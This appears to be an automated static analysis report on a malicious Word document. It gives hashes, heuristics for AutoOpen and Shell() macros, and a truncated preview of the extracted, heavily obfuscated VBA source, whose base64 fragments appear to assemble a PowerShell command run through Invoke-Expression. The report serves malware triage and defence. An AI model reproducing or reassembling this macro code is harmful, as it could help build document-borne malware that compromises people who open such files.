Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46093d6ede042d63…

MALICIOUS

Office (OLE)

78.5 KB Created: 2017-11-08 01:17:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 449e5d1227513e163bea61470a2b66b0 SHA-1: bd02eb2522c52482176d7e406bf2e257a4de4822 SHA-256: 46093d6ede042d6383382585cae9b1fdb678263f27d329114c0fa5c2e9d52d8f
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains legacy WordBasic auto-execution markers and a VBA AutoOpen macro that utilizes the Shell() function. This indicates the macro is designed to execute arbitrary commands, likely to download and run a secondary payload. The presence of a VBA macro and the use of Shell() are strong indicators of malicious intent, though the specific family cannot be determined from the provided evidence.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14228 bytes
SHA-256: fc092758a6bbfceacd2fff2648c8ecee3946ae72d3b94e1f5672f56261d9ce81
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 33 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "GTaAGltEf"
Function IhZJbFUHA()
rBAldsFsSKG = Mid("A85wzVwWHmlFIhZb0HvJozQAxADYANQAhADEANgAyACEAMQA1ADQAVgAxADYAMwBuADUAMQBBADEANwAzADoAMQA2ADQmsv7", 23, 70)
HwOSuKfZIGw = Mid("jTWnVdMkJdiw1pZF3dz2134kU4wbLfv9JQA0ADIAWQAxADQAMwBjADEANQA0AG4AMQA1ADEAQQAxADQANQAhADEANQA2AF8AMQA2ADQAQQA1ADYAIQAxADAANABWAD5V", 34, 93)
GpuIzwl = Mid("ICj9K2wRUi50ADQAbgAxADUANwBBADEANQA1AFYANAAwADsANwA1AGMANAAwADoAMQA1ADYAPAAxADQANQBBADEANgA3ACEANQA1AGMAMQA1ADcAYwAxADQAMgBuADEANQAyAG4AMQA0ADUAIQAxADQAMwAhADEANgA0ACQ5KoQTpBJkv9X", 12, 155)
WDWwV = Mid("vlANQAxAEEAMQA0ADUAIQAxADUANgBWADEANgA0AFYANwAzADoANAA0ADwAMQA2ADIAXwAxADQAMQBBADEANQA2AF8AMQAAsduhRBi", 3, 92)
UlswmdW = Mid("juYihOVzgA6ADEANQA0ADwAMQA1ADcAbgAxADQAMQBBADEANAA0ADoAMQAwADYAVgAxADUAMQA8ADEANQA0ADoAMQA0ADUAWQA1ADAAbgA0ADQAVgAxADYANQA6ADEANgAyAFkAMQA1ADQAYwA1ADYAXwAxADIANAA8ADEANQAmjqX0", 9, 162)
NatKOjVjF = Mid("9wACEANQA2ADoAMQAxADYAWQAxADQANQBjADEANgA0AF8ANQA2ACEAMQAyADcAIQAxADQANQA7ADEANAAyAF8AMQAwADMAXwAxADUANABfADEqHPqfsXU", 3, 107)
HRfwn = Mid("7rHVs1uivtKYr4azCMAYwAxADQANgA8ADEANQA3AF8AMQA2ADIAPAAxADQANQAhADEANAAxAFYAMQA0ADMAOgAxADUAMABZADUAMABjADQANABZADEANgA1ADoAMQA2ADIAVgAxADUANAA8ADQAMABWADEANQAxADoAMQA1ADYAYwA0ADAAVgA0ADQAQCJ", 18, 171)
BjIzqosJFD = Mid("GgAxADYANwA6ADUANgBBADEANAA3ADoPaWSnAwHs38", 2, 30)
UUUrnRDip = Mid("cidMp2nKz37bhj0YTY24S5W3TWKwoA2ADYAXwAxADQAMQBfADEANQAzAFkG7VXLjr", 30, 29)
FwbScPU = Mid("05j68mRCZwaEADIAMwBjADEANQAwACEAMQA0ADUAOgAxADUANABZADEANQA0AFkANwAzADsANAA0ADsAMQA2ADcAXwAxADQANQBBADEANAAyAG4AMQA0ADMAPAAxADNkBiFCwMREP", 13, 113)
JQIrjInziz = Mid("HvWl64AMQAwADEAVgAxADAAMwBZADEANQA3AG4UpfHoR5LhTSEXhzhiknqwvE", 6, 33)
dcBQnji = Mid("5mABvQ4AMQAyADAAIQAxADYAMgBZADEANQA3ADokAQbzpS11zRvLq0zo3", 7, 33)
qQwqlAVvdPP = Mid("LUk4jIsG4AJwAtV5I3SV7aTvfTWT", 8, 7)
wNbUfvOzc = Mid("LMcAMfl2lPtO3TuVDwAMQA0VYtitOsqhGDpftr3jkX", 17, 7)
EYoMkQTM = Mid("YADUAQQAxADQANQA6ADQAMABZADcANQBjADQAMABjADQANABBADEANgAyACEAMQA0ADEAPAAxADUANgBBADEANAA0AFYAMQA1ADcAbgAxADUANQA7ADUANgBfADEANQA2AG4AMQA0ADUAIQAxADcAMAAhADEANgA0ACEANQAwjsR2FDjvDBDUBVPsXRwp8tEUn11", 2, 168)
QFHOtP = Mid("rHoJF04XbJcIwT6blAAMQA2ADIAPAAxADYANQBuADEANgAwAF8AMQA1ADcAbgAxADQANABZADEANAA1ACEAMQA0ADMAWQAuip", 19, 76)
SokGiXGpMUB = Mid("Vvo0LwWDUANABuADEANQAxAFYAMQA0ADUAOgAxADUANgBZADEANgA0ADoANAAwADwANwA1ADsANAAwADoAMQA1ADYAXwAxADQAOYYrJV6SuHzn5OLzBs1ABRS", 8, 91)
ARGcHfldlmO = Mid("fz2Vdwt0UUEANAAwADwAMQA2ADIAOgAxADQAMQA6ADEANQA2AG4AMQA0ADQAYwAxADUANwA7ADEtA", 11, 65)
LrARm = Mid("Ba83ACEAMQAyADMAPAAxADYANABjADEANgAyADsAMQA1ADEAOgAxADUANgA6ADEANAA3ADwANQAwAFYANQAxADoANQA0AG4ANAAwAG4ANAA0AF8AMQA2ADAAWQAxADQAMQBZADEANgAtni4JwizwiSa", 4, 136)
JTvPQabMQ = Mid("lj7Cp9ovWWiKY6BzzYLW3YHGW3j0r7AFYAMQA0ADMAVgAxADUANSw", 31, 21)
ULjOANvHSUj = Mid("MANAAzAGMAMQA2ADQAOgAxADQAMQBZADEANAA0AF8AMQA1ADIAIQAxADIANgBBADEAMAAxAfaEFS7s511YswrwXUaszUSs6mGiDPNo3", 2, 70)
nJpIiPKpcRK = Mid("kffpl4LqkiohcGt1MAMQA1ADcAOwAxADYAMwBjADEANgA0ADsAMQA0ADUAWQAxADUANAA8ADEANgA1AF8ANQA2ADsAMQA0ADMAOwAxADcAMgBfADUANwA6ADEUrv", 18, 104)
DVKOfSHaPh = Mid("ITgACcAIAAnACkAIAAiAHwAIABJAE4AdgBvAGsAZQAtAEUAWABwAFIjfOllRUiLNUNJkZVwPslMF8", 3, 52)
votGqjIlnp = Mid("9vtnJPUTdT5DdKtXAVcYpADAAVgAxADcAMwBuADEANgA3AGMAMQA2ADIAOgAxADUAMQAhADEANgA0AEEAMQA0ADUAQQA1ADUAPAAxADUAMABjADEANQA3ADsAMQA2ADMAOwAxADYANABWADQAMAA7ADQANABfADEAMwA3ACEANQA2ADoAMQAwADUAOgAxARh9b4W9vNPzz", 22, 169)
YJdtiRKE = Mid("dpiKLjfjXA2FgAIAAoACAAJABfAC4AdABPAHMAVAByAEkATgBHACgAKQAgACkALAAgADgAKQAtAEEAUwBbAGMASABhAHIAXQApACAAfQAgACkAKwAiACQAKABzAEUAdAAgACcAbwBGAFMAJwAp3m1Si15MPSf", 13, 133)
NTRtWH = Mid("azd8mUUjSuiOtOXKpd7i0lLwUYAMQBBADEANgAxACEAMQAxADAAXwAxADEANQAhADUANwBBADQANwA8ADUANgBBADEAMgAzAFkAMQA2ADAAIQAxADUANABjADEANQAxAG4AMQA2ADQAWQA1ADAAIQA0ADcAbgA1ADQAOwA0ADcAXwA1ADEAIQA3ADMAOgA0ADQAPAAxADUANgBWADEANAAxAFYAMQA1Giiz", 26, 198)
aUfZOjJR =
... (truncated)

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